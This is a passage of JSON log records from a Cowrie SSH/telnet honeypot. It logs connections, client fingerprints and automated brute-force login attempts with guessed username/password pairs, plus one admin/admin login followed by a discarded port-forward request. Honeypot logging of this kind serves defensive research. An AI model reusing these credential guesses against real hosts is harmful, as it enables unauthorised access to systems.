es256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:36.085078Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris","message":"login attempt [morris/morris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:36.487409Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pbsdata","password":"pbsdata","message":"login attempt [pbsdata/pbsdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:37.096946Z","src_ip":"213.209.159.158","session":"c64aa6f4088d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris1","message":"login attempt [morris/morris1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:37.572616Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris123","message":"login attempt [morris/morris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:38.659011Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris1234","message":"login attempt [morris/morris1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:39.745349Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris12345","message":"login attempt [morris/morris12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:40.831157Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:41.330273Z","src_ip":"213.209.159.158","session":"c64aa6f4088d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41026,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0d0b1eafd0","protocol":"ssh","message":"New connection: 213.209.159.158:41026 (159.203.135.109:22) [session: 5f0d0b1eafd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:41.415707Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:41.916887Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:43.840407Z","src_ip":"213.209.159.158","session":"5f0d0b1eafd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:43.844637Z","src_ip":"213.209.159.158","session":"5f0d0b1eafd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17812,"dst_ip":"10.17.0.5","dst_port":22,"session":"40b388a2746b","protocol":"ssh","message":"New connection: 87.251.64.176:17812 (10.17.0.5:22) [session: 40b388a2746b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.123219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.128286Z","src_ip":"87.251.64.176","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.227657Z","src_ip":"87.251.64.176","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.519517Z","src_ip":"87.251.64.176","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.617674Z","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.716489Z","src_ip":"87.251.64.176","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:50.815655Z","src_ip":"87.251.64.176","session":"40b388a2746b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t123","password":"r00t123","message":"login attempt [r00t123/r00t123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:53.040658Z","src_ip":"213.209.159.158","session":"5f0d0b1eafd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ef3bc9f73b","protocol":"ssh","message":"New connection: 152.42.212.128:58920 (159.203.135.109:22) [session: f4ef3bc9f73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:56.270867Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:56.275980Z","src_ip":"152.42.212.128","session":"f4ef3bc9f73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:56.280339Z","src_ip":"152.42.212.128","session":"f4ef3bc9f73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:56.291902Z","src_ip":"213.209.159.158","session":"5f0d0b1eafd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35074,"dst_ip":"159.203.135.109","dst_port":22,"session":"142da1447bc0","protocol":"ssh","message":"New connection: 213.209.159.158:35074 (159.203.135.109:22) [session: 142da1447bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:56.372497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:58.878760Z","src_ip":"213.209.159.158","session":"142da1447bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:58.883097Z","src_ip":"213.209.159.158","session":"142da1447bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03261208534241,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:59.617673Z","src_ip":"152.42.224.71","session":"c6748ad93cd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-12","message":"login attempt [root/root-12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:08.053133Z","src_ip":"213.209.159.158","session":"142da1447bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:11.619491Z","src_ip":"213.209.159.158","session":"142da1447bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7728,"dst_ip":"159.203.135.109","dst_port":22,"session":"090fbd809cc9","protocol":"ssh","message":"New connection: 213.209.159.158:7728 (159.203.135.109:22) [session: 090fbd809cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:11.722956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:13.947516Z","src_ip":"213.209.159.158","session":"090fbd809cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:13.953201Z","src_ip":"213.209.159.158","session":"090fbd809cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41692,"dst_ip":"159.203.135.109","dst_port":22,"session":"882bf2308772","protocol":"ssh","message":"New connection: 103.149.170.125:41692 (159.203.135.109:22) [session: 882bf2308772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:14.249260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:14.254293Z","src_ip":"103.149.170.125","session":"882bf2308772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:14.508486Z","src_ip":"103.149.170.125","session":"882bf2308772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"162534","message":"login attempt [root/162534] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:15.259902Z","src_ip":"103.149.170.125","session":"882bf2308772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:16.513178Z","src_ip":"103.149.170.125","session":"882bf2308772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"netmon","password":"1","message":"login attempt [netmon/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:23.127747Z","src_ip":"213.209.159.158","session":"090fbd809cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.293742418289185,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:23.909790Z","src_ip":"152.42.224.71","session":"66b413ebe26a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.528423Z","src_ip":"213.209.159.158","session":"090fbd809cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":50342,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d45a9b7ad36","protocol":"ssh","message":"New connection: 193.37.70.224:50342 (10.17.0.5:22) [session: 9d45a9b7ad36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.562081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.566459Z","src_ip":"193.37.70.224","session":"9d45a9b7ad36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47534,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f55d7146df1","protocol":"ssh","message":"New connection: 213.209.159.158:47534 (159.203.135.109:22) [session: 1f55d7146df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.609741Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.660996Z","src_ip":"193.37.70.224","session":"9d45a9b7ad36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csyjxtr","message":"login attempt [root/csyjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:26.943065Z","src_ip":"193.37.70.224","session":"9d45a9b7ad36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:28.039334Z","src_ip":"193.37.70.224","session":"9d45a9b7ad36","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:28.650890Z","src_ip":"213.209.159.158","session":"1f55d7146df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@opens